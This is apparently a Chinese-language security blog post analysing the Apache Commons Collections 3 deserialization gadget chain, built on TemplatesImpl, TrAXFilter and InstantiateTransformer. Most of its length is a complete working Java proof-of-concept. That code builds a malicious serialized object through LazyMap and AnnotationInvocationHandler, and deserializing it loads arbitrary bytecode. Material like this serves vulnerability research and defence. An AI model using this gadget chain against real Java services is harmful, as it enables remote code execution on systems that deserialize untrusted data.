Apache Commons Collections 3
利用链分析
与cc1不同的是利用了InstantiateTransformer
与 TemplatesImpl
类的动态加载
在 TemplatesImpl.defineTransletClasses()
完成了类的动态加载,
可以看到defineTransletClasses
有三处调用 ,且只有一处的调用处,是被其他的调用的 getTransletInstance
而newTransformer
只有 TrAXFilter
这个类的构造函数中满足条件
结合InstantiateTransformer
就可成功调用链。
完整的POC
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaaa");
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[]code = Files.readAllBytes(Paths.get("C:\\Users\\wjl\\Desktop\\CC\\target\\classes\\org\\example\\Test.class"));
byte[][]codes = {code};
bytecodes.set(templates,codes);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
}